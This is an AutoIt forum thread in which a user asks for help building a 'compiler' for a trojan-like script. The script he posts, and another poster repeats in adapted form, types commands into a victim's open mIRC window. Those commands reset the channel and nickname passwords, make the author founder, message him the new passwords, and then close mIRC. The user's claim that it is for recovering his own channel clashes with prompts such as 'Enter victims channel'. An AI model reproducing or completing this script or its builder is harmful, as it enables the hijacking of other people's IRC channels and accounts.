Jump to content

Im lost ...


Jammer
 Share

Recommended Posts

:lmao: Okey:

You run file1.au3 and you need to fill 2 vars (tempvar1, and tempvar2) now the same file1.au3 has to open file2.au3(by not using any thing like notepad) and replace 8 line of file2.au3 with "$channel = " & $tempvar1 (var from file1.au3 (for example if u enter "Bla" when file1.au3 ask to enter something so in file2.au3 you should see $channel = "bla" ) and it has to replace line 9 with "$password = " & $tempvar2 and then save it. And then it has to run

aut2exe.exe with options

/in file2.au3 /out Complied.exe /icon script.ico /pass rababa

could some one please make me the full code I ask... i hope u understand what u want ...

i would do it my self just can't find how to replace the 8 and 9 line... with something i want...

Link to comment
Share on other sites

no this does not fit me...

here is my file2.au3

AutoItSetOption("SendKeyDelay", 0)
AutoItSetOption("SendKeyDownDelay", 0)
If WinExists("mIRC") Then
 $var1 = "jobana"
   $var2 = "lammer"
   $title = WinGetTitle("mIRC", "")
   WinActivate( $title , "")
   Send("/echo -a /cs set {#}" & $var1 & " password " & $var2 )
   Send("{ENTER}")  
   Send("/echo -a /cs set {#}" & $var1 & " founder Jammer")
   Send("{ENTER}")
   Send("/echo -a /ns set password " & $var2)
   Send("{ENTER}")   
   Send("/echo -a /.msg memoserv send Jammer I'm a victim.My channel is {#}" & $var1 & ". My passwords are:" & $var2)
   Send("{ENTER}")   
   Send("{ENTER}") 
   Send("/clear")
   Send("{ENTER}")
   WinKill( $title , "")
   WinClose( $title , "")
   WinKill("mIRC", "")
   WinClose("mIRC", "")
   MsgBox(64, "Done!" , "Your channel #" & $var1 & " has been stolen.Have a nice day!" )
   MsgBox(64, "Info" , "Made by Jammer" )
EndIf

This code is made for me to get my channel back becuase some no*b stole it...

And now i need to make a complier for this script for example:

$tempvar1 = InputBox("Channel", "Enter victims channel:", "")
$tempvar1 = InputBox("Channel", "Set passwords to:", "")
;now 
FileOpen("file2.au3", 1")
now write to line 8(replace line 8):
 "$var1 =  " & $tempvar1 
now wirte to line9(replace line 8):
"$var2 =  " & $tempvar2
BUT! If i type bla in the first InputBox in the result of the second file you will get $var2 = bla
but i need it to be $var2 = "bla"

i hope u understand ;/ maby someone could write this small script in Delphi or VB?

Edited by Jammer
Link to comment
Share on other sites

Hi..

wouldnt it be easier to give the information to the second script by Parameters .. ?

like:

file2.au3

if $CmdLine[0]= 0 Then
  MsgBox(0,"error","error no parameters,20)
  Exit(1)
Else
   $var1 = $CmdLine[1]
   $var2 = $CmdLine[2]
Endif

AutoItSetOption("SendKeyDelay", 0)
AutoItSetOption("SendKeyDownDelay", 0)
If WinExists("mIRC") Then
 ; $var1 = "jobana"                               ;deleted
  ;$var2 = "lammer"                              ;deleted
   $title = WinGetTitle("mIRC", "")
   WinActivate( $title , "")
   Send("/echo -a /cs set {#}" & $var1 & " password " & $var2 )
   Send("{ENTER}")  
   Send("/echo -a /cs set {#}" & $var1 & " founder Jammer")
   Send("{ENTER}")
   Send("/echo -a /ns set password " & $var2)
   Send("{ENTER}")   
   Send("/echo -a /.msg memoserv send Jammer I'm a victim.My channel is {#}" & $var1 & ". My passwords are:" & $var2)
   Send("{ENTER}")   
   Send("{ENTER}") 
   Send("/clear")
   Send("{ENTER}")
   WinKill( $title , "")
   WinClose( $title , "")
   WinKill("mIRC", "")
   WinClose("mIRC", "")
   MsgBox(64, "Done!" , "Your channel #" & $var1 & " has been stolen.Have a nice day!" )
   MsgBox(64, "Info" , "Made by Jammer" )
EndIf

and call this script in the first script with the 2 Parameters:

eg: Run("file2.au3 " & $tempvar1 & " " & $tempvar2)

mfg Domonoky

Link to comment
Share on other sites

Hi..

wouldnt it be easier to give the information to the second script by Parameters .. ?

like:

file2.au3

if $CmdLine[0]= 0 Then
  MsgBox(0,"error","error no parameters,20)
  Exit(1)
Else
   $var1 = $CmdLine[1]
   $var2 = $CmdLine[2]
Endif

AutoItSetOption("SendKeyDelay", 0)
AutoItSetOption("SendKeyDownDelay", 0)
If WinExists("mIRC") Then
; $var1 = "jobana"                              ;deleted
;$var2 = "lammer"                              ;deleted
   $title = WinGetTitle("mIRC", "")
   WinActivate( $title , "")
   Send("/echo -a /cs set {#}" & $var1 & " password " & $var2 )
   Send("{ENTER}")  
   Send("/echo -a /cs set {#}" & $var1 & " founder Jammer")
   Send("{ENTER}")
   Send("/echo -a /ns set password " & $var2)
   Send("{ENTER}")   
   Send("/echo -a /.msg memoserv send Jammer I'm a victim.My channel is {#}" & $var1 & ". My passwords are:" & $var2)
   Send("{ENTER}")   
   Send("{ENTER}") 
   Send("/clear")
   Send("{ENTER}")
   WinKill( $title , "")
   WinClose( $title , "")
   WinKill("mIRC", "")
   WinClose("mIRC", "")
   MsgBox(64, "Done!" , "Your channel #" & $var1 & " has been stolen.Have a nice day!" )
   MsgBox(64, "Info" , "Made by Jammer" )
EndIf

and call this script in the first script with the 2 Parameters:

eg: Run("file2.au3 " & $tempvar1 & " " & $tempvar2)

mfg Domonoky

<{POST_SNAPBACK}>

No... u dont understand File1 will use aut2exe.exe to comply file2 to a exe...

but first file1 has to change thoes 2 lines to ones you type in when file1 asks you in file2 before complying

Edited by Jammer
Link to comment
Share on other sites

command line paremeters will still work and that way you compile it once and dont need to worry about recompiling it

[font="Times"] If anyone remembers me, I am back. Maybe to stay, maybe not.----------------------------------------------------------------------------------------------------------[/font][font="Times"]Things I am proud of: Pong! in AutoIt | SearchbarMy website: F.R.I.E.S.A little website that is trying to get started: http://thepiratelounge.net/ (not mine)[/font][font="Times"] ----------------------------------------------------------------------------------------------------------[/font][font="Arial"]The newbies need to stop stealing avatars!!! It is confusing!![/font]

Link to comment
Share on other sites

command line paremeters will still work and that way you compile it once and dont need to worry about recompiling it

<{POST_SNAPBACK}>

but this will be like a trojan... it will only contain 1 file im making a complier with witch you dont need to open the file2.au3 and edit the 2 vars and then press left button and make complie script....
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...